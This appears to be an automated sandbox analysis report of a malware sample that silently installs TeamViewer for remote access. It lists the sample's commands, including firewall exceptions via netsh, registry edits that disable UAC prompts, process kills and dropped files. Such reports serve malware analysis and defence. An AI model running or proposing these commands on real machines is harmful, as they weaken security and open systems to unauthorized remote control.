Technical Information
Malicious functions
Executes the following
- '%WINDIR%\syswow64\taskkill.exe' /f /im TeamViewer.exe
- '%WINDIR%\syswow64\taskkill.exe' /f /im TeamViewer_Desktop.exe
- '%WINDIR%\syswow64\taskkill.exe' /f /im TeamViewer_Service.exe
- '%WINDIR%\syswow64\taskkill.exe' /im teamviewer.exe /f /t
- '%WINDIR%\syswow64\netsh.exe' firewall add allowedprogram "%TEMP%\TeamViewer\TeamViewer.exe" "Teamviewer Remote Control Application" ENABLE
- '%WINDIR%\syswow64\netsh.exe' firewall add allowedprogram "%TEMP%\TeamViewer\TeamViewer_Service.exe" "Teamviewer Remote Control Service" ENABLE
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Teamviewer Remote Control Application" dir=in action=allow program="%TEMP%\TeamViewer\TeamViewer.exe" enable=yes
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Teamviewer Remote Control Service" dir=in action=allow program="%TEMP%\TeamViewer\TeamViewer_Service.exe" enable=yes
Modifies file system
Creates the following files
- %TEMP%\rarsfx0\install.cmd
- %TEMP%\teamviewer\tv_w32.exe
- %TEMP%\teamviewer\tv_w32.dll
- %TEMP%\teamviewer\teamviewer_staticres.dll
- %TEMP%\teamviewer\teamviewer_service.exe
- %TEMP%\teamviewer\teamviewer_resource_ru.dll
- %TEMP%\teamviewer\teamviewer_resource_en.dll
- %TEMP%\teamviewer\teamviewer_desktop.exe
- %TEMP%\teamviewer\teamviewer.exe
- %TEMP%\teamviewer\startx.exe
- %TEMP%\teamviewer\set10nostart.reg
- %TEMP%\teamviewer\install.cmd
- %TEMP%\teamviewer\tv_x64.dll
- nul
- %TEMP%\rarsfx0\teamviewer_resource_ru.dll
- %TEMP%\rarsfx0\teamviewer_resource_en.dll
- %TEMP%\rarsfx0\teamviewer_desktop.exe
- %TEMP%\rarsfx0\teamviewer.exe
- %TEMP%\rarsfx0\set10nostart.reg
- %TEMP%\rarsfx0\tv_x64.dll
- %TEMP%\rarsfx0\tv_x64.exe
- %TEMP%\rarsfx0\tv_w32.dll
- %TEMP%\rarsfx0\tv_w32.exe
- %TEMP%\rarsfx0\teamviewer_staticres.dll
- %TEMP%\rarsfx0\teamviewer_service.exe
- %TEMP%\rarsfx0\startx.exe
- %TEMP%\teamviewer\tv_x64.exe
Modifies the following files
- %LOCALAPPDATA%\microsoft\windows\usrclass.dat.log1
- %LOCALAPPDATA%\microsoft\windows\usrclass.dat
Network activity
Connects to
- 'pi###.#eamviewer.com':5938
- 'ma#####4.teamviewer.com':5938
TCP
Other
- 'pi###.#eamviewer.com':5938
- 'ma#####4.teamviewer.com':5938
UDP
- DNS ASK pi###.#eamviewer.com
- DNS ASK ma#####4.teamviewer.com
Miscellaneous
Searches for the following windows
- ClassName: 'EDIT' WindowName: ''
- ClassName: 'RegEdit_RegEdit' WindowName: ''
- ClassName: '' WindowName: ''
- ClassName: '' WindowName: 'TeamViewer Manager'
Creates and executes the following
- '%TEMP%\rarsfx0\startx.exe' /WAIT /B install.cmd
- '%TEMP%\teamviewer\teamviewer.exe'
- '%TEMP%\teamviewer\tv_w32.exe' --action hooks --deferlog --log
- '%TEMP%\teamviewer\tv_x64.exe' --action hooks --deferlog --log
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /c install.cmd
- '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "ConsentPromptBehaviorAdmin" /t REG_DWORD /d "0x0" /f
- '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "ConsentPromptBehaviorUser" /t REG_DWORD /d "0x0" /f
- '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "PromptOnSecureDesktop" /t REG_DWORD /d "0x0" /f
- '%WINDIR%\syswow64\regedit.exe' /s .\Set10nostart.reg
- '%WINDIR%\syswow64\xcopy.exe' /E /H /K /I /C /Y /R "*" "%TEMP%\TeamViewer"
- '%WINDIR%\syswow64\ping.exe' -n 1 127.0.0.1
